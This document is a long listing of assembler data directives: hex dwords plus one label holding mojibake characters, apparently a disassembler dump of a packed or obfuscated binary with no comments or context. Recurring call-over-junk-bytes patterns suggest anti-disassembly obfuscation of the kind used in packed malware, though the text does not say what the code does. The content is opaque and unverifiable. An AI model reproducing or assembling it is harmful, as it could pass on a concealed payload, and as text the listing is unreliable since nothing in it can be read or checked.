0DF8B310Fh, 0E990585Ah, 0Bh, 0F72CDADEh, 4CB0E651h dd 0FFCC9EF9h, 35115195h, 52006A09h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0BBDE89B9h dd 0E9AD1DE0h, 0E58h, 0E8h, 0ED815D00h, 9397E5Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F5C35545h, 386BC764h dd 8F0F701Ah, 1Bh, 0FE8h, 0DCBF9400h, 9D9195E6h, 47D5A5E5h dd 67529C84h, 5A18589h, 0F5B0935h, 858DD8BFh, 938932Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0E6C35545h dd 0E8C9C318h, 3695CDFCh, 13BB90D8h, 50333B9Dh, 6A90DA8Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0D15FC351h, 0EED78166h, 0BD896083h, 9352FF1h dd 10E9h, 9B862700h, 0D945477Ch, 43ACADB1h, 7DF0ACCCh dd 0FF6461C2h, 35h, 0F3805300h, 89645FCFh, 25h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0CCB5EC86h, 0FD8D891Eh, 0E909352Ch, 7, 21EC921Ah, 0FF1F2C22h dd 35300985h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 7AEEBCCCh, 8D2191F1h, 2AB319CFh dd 6E9FF6Ah, 9A000000h, 0D8C3991Eh, 79B5FF40h, 3109352Ch dd 3526158Dh, 0B995FF09h, 0E909352Eh, 164h, 0F00B0F8h dd 883h, 880F5100h, 0 dd 0AE85Fh, 0BD60000h, 0C74B524h, 0E7C6F35Ah, 58E0Fh, 0AABF0000h dd 5B78C068h, 0E4F870E6h, 57BB6671h, 0F613CA7h, 12783h dd 5BD0100h, 0F09351Ch, 8A0FC8B6h, 6, 0EA5BD8Bh, 0DE80935h dd 7B000000h, 0A507AB7Dh, 256367BFh, 0E0D91h, 2A7DBD89h dd 0BA5B0935h, 6, 800Fh, 0C18B0000h, 5699D29h, 0E8C10935h dd 0BD8B6004h, 9352FE1h, 0E2F76661h, 2BD88B66h, 318D01C8h dd 8B093516h, 0C0BF66D1h, 5E96038h, 49000000h, 0F4917A8Eh dd 1BE961h, 13E80000h, 0C1000000h, 7D7D2D72h, 3F21538Dh dd 96E4B475h, 0EB9BB32Ch, 0DF8BBAD2h, 61858B5Fh, 29093525h dd 35006D8Dh, 53DF8109h, 832CB7C3h, 0C08307C0h, 2DBD8B00h dd 3B093527h, 19830FD0h, 0F000000h, 890FF8BFh, 8, 5DBD3350h dd 5F093529h, 5FE9h, 0FA8B6600h, 0B218D8Bh, 9D030935h dd 9352E41h, 0F01E183h, 4784h, 9E800h, 0C3610000h, 0CFFDEDA0h dd 313C0489h, 351B1195h, 0A5835B09h, 9350B21h, 7E9FEh dd 0DBEB0000h, 1E22EB0Bh, 61958951h, 0E9093525h, 0Fh, 0FCADC123h dd 53A458C0h, 283C87EEh, 0E956B9AFh, 0 dd 3DBB58Dh, 6A0939h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 93CD5AC3h, 72B7E69Eh, 0AE92873h dd 9D000000h, 52D4A61h, 0F67C1CAFh, 995896Fh, 6A09350Ch dd 399D8B00h, 0FF09351Ch, 35082995h, 619D2309h, 0B9093516h dd 898h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 99C35747h, 0BAC1860Dh, 6AFCE183h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 4469C352h dd 519D8B37h, 8A093510h, 0BD8BFCDAh, 9352D59h, 6AC02Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 2B8DC5C3h, 0CB65DAE1h, 50535FBBh, 5FFFB70Fh, 0BAh, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 23EB028h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 76C35242h, 5B0BEBF2h dd 2F49B3BAh, 0CB8166A3h, 6A88B7h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 89DF53C3h, 0FAC3B3F4h dd 880DF823h, 89000000h, 3511A19Dh, 29958B09h, 0E8093516h dd 13h, 348E9BE8h, 6584FE54h, 0C5E47935h, 1DCF310Ah, 5BF78A32h dd 287D8D8Bh, 0CE90935h, 0A6000000h, 0B973D957h, 170D90D2h dd 5098E5FEh, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 0FB8B5158h, 18830F5Bh, 0E9000000h, 13h, 91A30C0Bh, 0D21D2F63h dd 0A238634Ch, 0BDA876Ch, 0FC09D2C8h, 1249BD83h, 0F000935h dd 0B484h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 31A3D53h, 0B935A505h, 8166ACFCh dd 0F9CE7D7h, 38Eh, 0DFB70F00h, 0B8h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0DFB64522h, 499D89B2h, 8D09350Ch, 354C028Dh, 50006A09h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 64AF9D83h, 0E5E9DBF1h, 0E1FF2009h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0EEC35040h, 8842B903h, 335F89C8h dd 35306D9Dh, 55BD8309h, 93522h, 48C840Fh, 860F0000h, 6 dd 1E999589h, 0BD830935h, 9352255h, 8E840F01h, 8B000004h dd 3522A19Dh, 55BD8309h, 3093522h, 445860Fh, 860F0000h dd 8, 8E0F50h, 5F000000h, 8E9h, 5369F300h, 0F92FBF9Dh dd 6A606Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 0D44374C3h, 0EAA99109h, 1B59BD0Bh, 8C660935h dd 0CFBF56D9h, 5F76529Bh, 6A04E180h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0A9FFC351h dd 3A265E98h, 2C2D8589h, 0C90A0935h, 13E840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 8B5B29C3h, 61858BFBh, 3309352Bh, 352FC99Dh, 7D853309h dd 6A09350Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 286FC355h, 88888268h, 5E8h, 0C2578900h dd 5EBFFC54h, 5B438156h, 19CF8166h, 830F50E1h, 10h, 0AE8h dd 0C1A5C00h, 0CD759E00h, 5F390474h, 6A240489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 0C538C355h, 0BE806h, 0C5700000h, 0C0A7BE8Eh, 0EF8CCD1Dh dd 1952992h, 5F093505h, 9E8006Ah, 7E000000h, 0E3224E06h dd 957EA564h, 2A96685Bh, 0BB663FE1h, 34814C48h, 0FE296924h dd 0FFFA8B3Fh, 350CDD95h, 55006A09h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 1A1648A8h dd 89DEBF0Fh, 35260DB5h, 6F858909h, 6A0938B7h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0FA64C351h, 68D6105Eh, 61BB6690h, 200E98Bh, 85890000h dd 9350CB9h, 0B767858Bh, 6A0938h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 20AC9CC3h, 3AA1322Ah dd 2DB99D8Bh, 9E90935h, 0D9000000h, 0DA8C0252h, 0ECB0C6A2h dd 1800C7h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 8B8E7FC3h, 3506C9BDh, 6BB58B09h dd 0BF0938B7h, 0DF4799Fh, 24D5858Bh, 0CB810935h, 23623403h dd 6A0689h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 0F02C2DC3h, 0F42E14FDh, 0FE8B66FEh, 2B61858Bh dd 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 9842A9C3h, 0E9A293D1h, 6, 0A44B3F77h, 46893C24h dd 95BD2904h, 96093501h, 11E9h, 16F99400h, 0EECFACD9h dd 2C3D054Bh, 3C01AA20h, 50504602h, 0BE852h, 93A30000h dd 619E5414h, 377A5C85h, 5B5F5189h, 8B66310Fh, 96585ADFh dd 21F58589h, 0B5FF0935h, 938B767h, 0CE0768FCh, 5250BAC5h dd 0D40ABF66h, 5250310Fh, 310FF98Bh, 8D0Fh, 585A0000h dd 481585Ah, 5935F824h, 57006A45h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 33086C3Dh, 858D0C41h dd 938B76Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 24C35242h, 81EA7B9Fh, 4170028Eh, 0CE833h, 0F96D0000h dd 22344C1Dh, 9FF0BEC1h, 0F600857h, 85h, 59858900h, 6109352Dh dd 30DB815Bh, 902A77DFh, 0CE9h, 0CF012F00h, 0CBCD02EDh dd 88D31FE3h, 8B665073h, 6A90D8h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0E9A3E4C3h, 0A4B813FDh dd 0F53A3D33h, 0CDD95FFh, 89610935h, 3505F59Dh, 5585C709h dd 3093522h, 0E9000000h, 13h, 77A285C7h, 23F8A7A6h, 0CBB4326Fh dd 82B9C348h, 831A7B6Fh, 38B76FBDh, 840F0009h, 57h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0ECC35141h, 5D8691FCh dd 1A4A9CDCh, 0FB8B662Ah, 45E9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 1646716Bh dd 76E9AA58h, 0C5BD2BACh, 5009351Bh, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 0BF0FC08Bh, 51006AD8h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 65BD8B5Eh, 8309350Bh, 352255BDh, 850F0309h, 3E3h, 0AE8h dd 0FA2CAF00h, 29D68356h, 667BFBE0h, 5F2935BFh, 0B76FBD83h dd 0F000938h, 3C284h, 0EDBD3100h, 0FF093507h, 38B76FB5h dd 5E809h, 0A6720000h, 8BE6A774h, 95FF5FDAh, 9352E11h dd 0E5D8D31h, 0B58B0935h, 938B763h, 8BFA8B66h, 106C7DFh dd 6A000100h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 110DC353h dd 0E8B7547Bh, 0Ch, 150DEEB9h, 3C195325h, 4895177Ah, 91858960h dd 89093503h, 3500F585h, 505F6109h, 922ABA60h, 0D78B6139h dd 24348961h, 0A60AE381h, 0B5FF3C73h, 938B76Fh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 74C35747h, 660DF6BAh dd 95FFF98Bh, 9350289h, 0CF58589h, 0FD8A0935h, 0B763B58Bh dd 6A0938h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 9509E7C3h, 9351BB5h, 0E99858Bh, 6A0935h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 76BD4DC3h, 0C48689D8h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0EE0BC356h dd 559D290Fh, 8B09351Ch, 29958BDAh, 6A093516h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0CFFFC350h, 2453BA7Bh, 6A04C283h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0F4D8C356h dd 0C380B5F0h, 2050893Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 67C35545h, 0F88BD910h, 0CC07858Dh, 850F0938h dd 0Bh, 6E9h, 7D52E200h, 8987417Ch, 0B886h, 8BF78100h dd 6A01E16Ah, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 8D29039Bh, 9351601h, 0B76FB5FFh dd 8B510938h, 350FCDBDh, 95FF5F09h, 9351151h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 20C35242h, 0D2E721EBh dd 7A4EBB7Eh, 0E8966355h, 10h, 7E7FC7Ah, 4B0675A1h, 43BB4F5Dh dd 9879B14Dh, 6E9h, 0B503800h, 5FA13CCEh, 0DA8B6650h, 6FB5FF96h dd 6A0938B7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 7165C357h, 182EB038h, 0FF94D7Bh dd 38Ah, 0FA8B6600h, 0B5595FFh, 6A0935h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 589527C3h dd 96C05AE3h, 2C518D29h, 0BD830935h, 9350079h, 34840F00h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 89DDC350h, 352CD585h, 81BD3309h dd 96093522h, 53BA6050h, 8B3F6583h, 0FF9661C7h, 38B76FB5h dd 95FFF909h, 9351C35h, 84C9EB81h, 0BD2B161Dh, 9351115h dd 0B76FB5FFh, 0EB810938h, 1F2F3501h, 0C5BD8B60h, 909352Fh dd 352765BDh, 95FF6109h, 9352CE5h, 26BDBD83h, 0F020935h dd 5284h, 0CE900h, 1DF30000h, 1AF76F4Eh, 0C53246D5h, 858B8D48h dd 93526ADh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 59C35141h, 434644F2h, 0BD8BB7EEh, 93502B5h, 77D38166h dd 0C674h, 3F19D89h, 81660935h, 0C7CE7FE7h, 35326585h dd 9, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 72238D4Dh, 0B2883C67h, 0DB801AF5h dd 0DBCB8183h, 0E95510CDh, 0FFFFF304h, 1A840Fh, 12E80000h dd 0C0000000h, 0AE426FB3h, 32753589h, 0F76BB492h, 80C1CC46h dd 5F5B574Ch, 2CB3C18Bh, 2D5404EBh, 3CE931D1h, 8E000005h dd 0E29607ACh, 9749524Fh, 0D8A0FD98h, 92465740h, 969DFE9Bh dd 8D0C25E5h, 0C6D34810h, 900D23D5h, 0C0D9550Bh, 0B99F5DBh dd 12FCB5C1h, 15A328B5h, 8B6B76EBh, 9B941D11h, 8F01F0FEh dd 0E69A0396h, 0A64D4Ah, 935160FEh, 1C364129h, 7E757B1Dh dd 0EC80FAFAh, 918C00F3h, 2184E908h, 0CBD44833h, 83100ED2h dd 8C3F7F4Bh, 993DDF07h, 4B7E449Eh, 747A1C35h, 0BB03AB80h dd 0A0BF1C22h, 863ABE35h, 589CE44Bh, 834B48E6h, 4FEE13Bh dd 3EB6D22Dh, 8EA11BBFh, 0F269E313h, 0AF1C0CE7h, 9F3C32C5h dd 0F9E67AFEh, 80636AFAh, 9B6A1C35h, 0BA5DB0A9h, 0F30D8950h dd 12965D78h, 6933E2h, 47940000h, 9C1EAE2Bh, 55DC1881h dd 58130FB1h, 0F7041CD9h, 6F826C82h, 537B09EDh, 5C1C3572h dd 0CB02DBC9h, 9C8950C8h, 1, 47B915EBh, 8F35AF2Ah, 8B1C3641h dd 21F9165h, 75E85C97h, 1B13856Ch, 0B5AC4E7Eh, 0B54BCD24h dd 54DB1BBEh, 0F18470EDh, 179D437Ch, 131C3641h, 7C24315Fh dd 9D536202h, 9A964A53h, 47ABA0FDh, 0D448AB2Eh, 408C4059h dd 364118A2h, 6A8A0C1Ch, 3C2875E3h, 0D4C9D049h, 624FE0DAh dd 9D1FD2CFh, 3529A353h, 879E20ACh, 0E95BE212h, 319B4976h dd 251C3641h, 0F3FD9893h, 0EA82F6FDh, 9A9206EDh, 6F6A03FDh dd 831C1084h, 4596EC70h, 1BF39C5Fh, 0E70F8AA1h, 6CB1AA9Ah dd 1B894FFFh, 8Dh, 0AB2E476Ch, 4E5BD448h, 0A22AC4D1h, 0F74CACDAh dd 22D21B79h, 8A35299Bh, 363D6E54h, 0AA446A1Ch, 3E5BD547h dd 77E403B3h, 13DFA60Fh, 0BEB9ABFAh, 11E4D04Dh, 641C8118h dd 0C000CCCDh, 0DB53CEDAh, 28302BEh, 920F22DCh, 0F169DB62h dd 0BD2809E8h, 0D0A7F6D7h, 63E08950h, 0AA000000h, 0CB2688D2h dd 0A15574DCh, 0AB2E4702h, 718A248h, 5BA7579Ah, 0F3D3A244h dd 0D852A24Ch, 29A5946h, 0DAE0FECAh, 0CE1C3593h, 0EDD72CC8h dd 596031Ah, 75EB1526h, 0EF078968h, 1109E07Dh, 9E76988h dd 41735AEAh, 0AB7A1C36h, 0F96DA0B9h, 0FFA894Fh, 0D4000000h dd 0F11054ECh, 0C90637Eh, 492FBCB4h, 284706ADh, 5ED246ADh dd 413B811Fh, 0A92F1C36h, 9D438747h, 1C364117h, 0EA698D13h dd 0D0BBA9FAh, 7559425Fh, 41418B19h, 0B3351C36h, 0FFE5B043h dd 205AAB13h, 4F7F71B5h, 2FA4691h, 18B43A15h, 0ED098EA6h dd 617EF266h, 2FA8C43Ch, 819C1EC4h, 494EE618h, 0F2AF17ADh dd 7BF1300h, 955C7DF5h, 0A68EE313h, 8A425FD3h, 0F21AA03Eh dd 660E1300h, 0F29238h, 8E608613h, 53CF9166h, 2539AB46h dd 56C735BCh, 1A879B6Eh, 487CD181h, 23EB9285h, 97000001h dd 61900925h, 0BB1EFDFh, 0FF1300FFh, 2E761DD9h, 425FD39Bh dd 0B7223DAFh, 0B836B83Ch, 5F43CE14h, 1FC11503h, 0D3CC60D4h dd 7D1A16CAh, 716E0276h, 0D3C11282h, 23AB3428h, 0D81B8699h dd 24B1AA54h, 0CEAB4BCDh, 8516B1DCh, 41B692h, 2E150000h dd 0C307C787h, 8F2D54FBh, 0DE90F90h, 35817D77h, 4C49791Ch dd 0D4B073D7h, 8414DF11h, 1C35C73Eh, 0FFC4B055h, 7F7762FDh dd 0E1EDBDF4h, 7D1813ADh, 0C811EB79h, 3A51C35h, 94709Ah dd 2EA10000h, 0D50BC39Bh, 15036972h, 0C4D14E70h, 955C8230h dd 8DA20F23h, 7431E110h, 85779BE7h, 0E3AE12DCh, 0E6C52676h dd 0CC00CC22h, 479D3A32h, 1301057Dh, 0AA7F7779h, 0AF0BC04h dd 0BA4D5137h, 33ACC03Ah, 0C05F30C0h, 0F9AD1300h, 836E6B07h dd 7366FF01h, 0B3462E83h, 0EE7922BFh, 15CB03DBh, 0BDA4C43h dd 9C42B137h, 64900D22h, 656976EAh, 1DD9C45Bh, 4F35A696h dd 943810A3h, 0FE7F46Ah, 839D1F6Bh, 0FE50DE16h, 0F21503BFh dd 5F7AFECh, 846F6Ah, 9B2E4DF4h, 0B0435ED3h, 0D40AC22Ch dd 150FCE82h, 2A904E76h, 1E12FCB5h, 97B7678h, 490F8C15h dd 9725CCD5h, 1BA57057h, 5C2F1588h, 5F7D7C0h, 2F3E4368h dd 0E52C6075h, 180EEB0Bh, 0B9E78EA6h, 0EA64A013h, 0E70FE107h dd 11E0F975h, 0BA12879Fh, 0C9096A02h, 49B75336h, 0A42BCBD6h dd 71EE10B4h, 0EB0B8D64h dd 47DBAE96h, 0A3BF415Ah, 0A249636h, 0DD14859Dh, 0AB39955Bh dd 0EA64F621h, 0DC639315h, 14F2h, 0A36E4E00h, 0CF1DE6FCh dd 169C428Ah, 12EA6501h, 4FC9688Ch, 0B0154784h, 4653CF41h dd 0BA2739ABh, 2BAEC537h, 0BCDD54C8h, 2FAAC335h, 0BFD850C4h dd 32AFC034h, 0C9D04DBFh, 6B685D2Ah, 8900005Dh, 0AE682404h dd 89000053h, 89522414h, 4C281E2h, 83000000h, 148704EAh dd 34895C24h, 0B9BB5324h, 8909398Ch, 241C8BDAh, 4C481h dd 0E9680000h, 89000051h, 4812424h, 424h, 52555E00h, 0EC243481h dd 5D40B665h, 65ECF581h, 6E8940B6h, 348B5D08h, 0E1895124h dd 4C181h, 0C1830000h, 240C8704h, 24148B5Ch, 81E18951h dd 4C1h, 4C18300h, 5C240C87h, 0FBECE3E9h, 0B81097FFh, 9399170h dd 0E0FFC503h, 49231705h, 0C739DB5h, 79C1536Bh, 2CF00C96h dd 56AEC2F9h, 4A9374F0h, 26478980h, 728F5CE5h, 79DCE22Ah dd 3D07205h, 7137CEE6h, 3583476Ch, 5B0FB64Bh, 9A089B3h dd 167BFA88h, 45778253h, 261EE0B2h, 2213515Eh, 5CF74BD8h dd 4DCE5495h, 34CE4B93h, 0D803426h, 43DBEE05h, 1D70C2EAh dd 68FADC6Bh, 2DEE079Dh, 9CCF707h, 13F1D937h, 5E3FF28Ch dd 12E9A4F9h, 5234DA5Eh, 27AD46D5h, 2659858Dh, 6A0935h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8BEAE8C3h, 0F6050DFh, 0F8Eh, 0AE900h, 334D0000h, 0EB69274h dd 0A31930BBh, 810F5250h, 0 dd 585A310Fh, 24048961h, 5822BF66h, 9E8006Ah, 0E9000000h dd 0D37024A8h, 4ACF684Bh, 10E9h, 0FE841900h, 6542C434h dd 76DE8A23h, 927E18BBh, 6A5BC8h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0EC35242h, 51C0CB2Ch, 9DB129F9h dd 0DC858DC5h, 6A093994h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 7E8AC356h, 7DADB2Ch dd 83DA8B66h, 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 3FD16CC3h, 10A967A5h, 20BB774Bh dd 5020237Eh, 0FE8h, 0A6190D00h, 0AF1F4FE1h, 9EE60716h dd 44D837C3h, 14E9h, 4095DF00h, 22A0D269h, 6B1D035h, 0BE6DEA4Fh dd 0A95EA584h, 4895BC9h, 6A006A24h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 44FC351h dd 6A006AAAh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 662CC352h, 0C3D2537h, 0ACF38166h dd 3195FF85h, 89093503h, 350BE98Dh, 0AB8D8D09h, 6A09389Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0B4D3C350h, 92D6D6BBh, 7E954h, 9EB60000h dd 7F6E99D3h, 0E9D1FF91h, 6, 652B610Ch, 0BD8350B2h, 9351C19h dd 97850F01h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0C4F9C357h, 6AEC3BF1h dd 11E802h, 0F4100000h, 8D260B08h, 4A53800Eh, 0DE6A8FF7h dd 5BBA4F56h, 9DBF6690h, 12E850A3h, 0EE000000h, 0CFF61C49h dd 4299AF88h, 51F4B7A8h, 98F1E345h, 0BF665016h, 5B5F333Fh dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0C6AD516h, 6911EB70h, 9E926F1h, 0CC000000h dd 18F77DAFh, 748CE43Ah, 115195FFh, 85E90935h, 0E800000Ch dd 0 aBacf9J db ']│МФ■9',9,'j',0 db 53h, 0E8h, 3 dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 928C353h, 35260D8Dh, 2B858D09h, 6A093893h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 8BD8C355h, 8E990DAh, 0E8000000h, 0C0451C26h, 5085DE0Bh dd 6A90DE8Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0FBE6C356h, 0A155EE31h, 8A69447Bh dd 35FF64FAh, 0 dd 0FD9B70Fh, 8964F9B7h, 25h, 895F5700h, 352EF99Dh, 985FF09h dd 6A093530h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0C1AAC350h, 5B3D9AF6h, 3135B4A4h dd 352681B5h, 8BFF6A09h, 0DDB5FFFEh, 29093503h, 3517758Dh dd 0B995FF09h, 0E909352Eh, 12Ch, 3880Fh, 8B660000h, 0E900B0D9h dd 5, 1D602458h, 0F1BD892Dh, 0E6093500h, 299D8B70h, 0E4093510h dd 0D5B58971h, 3C093512h, 0F9830F61h, 81000000h, 0FB28FFD7h dd 0C8B60F4Fh, 6810Fh, 9D8B0000h, 9350345h, 6BAh, 399D0900h dd 8B093502h, 68C0FC1h, 31000000h, 35324D95h, 4E8C109h dd 0F766DF8Bh, 0C58BBBE2h, 0C82B50D0h, 0EE9h, 0EEBB8C00h dd 612D2EFFh, 44CE633Ah, 8B313712h, 62E381D1h, 0E947216Eh dd 6, 3051BD0Bh, 858B0935h, 93523E9h, 23E59D8Bh, 0C0830935h dd 0D1950907h, 8309351Ah, 0BD0900C0h, 9350251h, 830FD03Bh dd 0Dh, 0E9DFBF0Fh, 68h, 89045EBBh, 0D58D8B3Ah, 0E8093500h dd 12h, 59926900h, 0F31C3436h, 0EA7025E0h, 0A539AFA8h dd 0BD0B41B1h, 9352C39h, 1E1835Bh, 36840Fh, 6E90000h, 0A5000000h dd 69BE009h, 0C880F81h, 0F000000h, 687h, 2D9D8B00h, 83093501h dd 3500D5A5h, 9D8BFE09h, 9351171h, 23E99589h, 0E9F50935h dd 0 dd 0E5AB58Dh, 6A0939h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 468A1BC3h, 697FE39h, 0D19D8B60h dd 6109352Ah, 78B7006Ah, 82995FFh, 6A0935h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 5DD5DBC3h dd 0E8D427E9h, 0Eh, 0FCBC5AE7h, 0F86B0741h, 71863D27h dd 0F5F531Bh, 1182h, 0CE900h, 36330000h, 6AC8539Eh, 89CC0E81h dd 23B92A6Bh, 29000008h, 350C499Dh, 0FCE18309h, 28759D89h dd 66FC0935h, 2B6711BFh, 30E780C0h, 0BAh, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0E9E6040Bh, 0Bh, 6C3CAB94h, 9DA37859h, 6620908Fh, 0E502EB81h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0DF8B70Fh, 88h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 26C35646h, 8B66E1F6h dd 0A5BF66FEh, 29958B8Fh, 3093516h, 352E2D9Dh, 7D8D8B09h dd 6A093528h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 6318C350h, 0DC4C2564h, 50F8A8FDh dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 53006A58h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0C49D562Ch, 0C0193F55h, 57006AFCh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0D6806B0Fh dd 0DE96A58h, 80000000h, 7EC5204Dh, 805396B5h, 0ACF3A82Eh dd 1249BD83h, 0F000935h, 3E84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 5E87B0A7h dd 7FC3A61Bh, 0B8DCh, 0DABB0000h, 8D5C5AEEh, 354C028Dh dd 0A070BF09h, 0E1FF6B8Bh, 83F88B66h, 352255BDh, 840F0009h dd 3C5h, 2255BD83h, 0F010935h, 3D384h, 6E900h, 5BCA0000h dd 0E1EA5BDBh, 2255BD83h, 0F030935h, 38586h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 7E97364h, 1000000h, 96FDAAA4h, 0BF6092CBh, 3574636Fh dd 0E9D98C66h, 6, 0C3754C6Ch, 0E1801694h, 919D8904h, 0A093502h dd 37840FC9h, 0E9000001h, 14h, 7F00B3E3h, 78BD0773h, 58A9BFC7h dd 0B3BF9147h, 55EA87BCh, 2B61858Bh, 6A0935h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BF66CEC3h dd 0D7803F8Bh, 7D853392h, 6609350Dh, 901DBFBBh, 0FE850h dd 36F0000h, 0BAF9F008h, 4DE27A39h, 0E29A8DFAh, 0FE92Dh dd 6B330000h, 0A6737084h, 2E3996ABh, 0D9E99747h, 53905F0Dh dd 2FCF8166h, 6A5BC4h, 0C383BF66h, 4E8F9h, 3FF0000h, 5250001Fh dd 73E264BBh, 5A310F6Ah, 12E85058h, 0C1000000h, 6537C27h dd 0CB738309h, 0CAA2F699h, 0C436C7Eh, 0FA8B667Bh, 24448B5Fh dd 2880F04h, 8A000000h, 57008BDEh, 5BDA8B66h, 4244489h dd 0FD23BF66h, 50006A58h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0EA8415C2h, 299F9034h dd 350C498Dh, 0DD95FF09h, 8909350Ch, 38B76F85h, 50006A09h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 8214B1AEh, 619D8B7Ch, 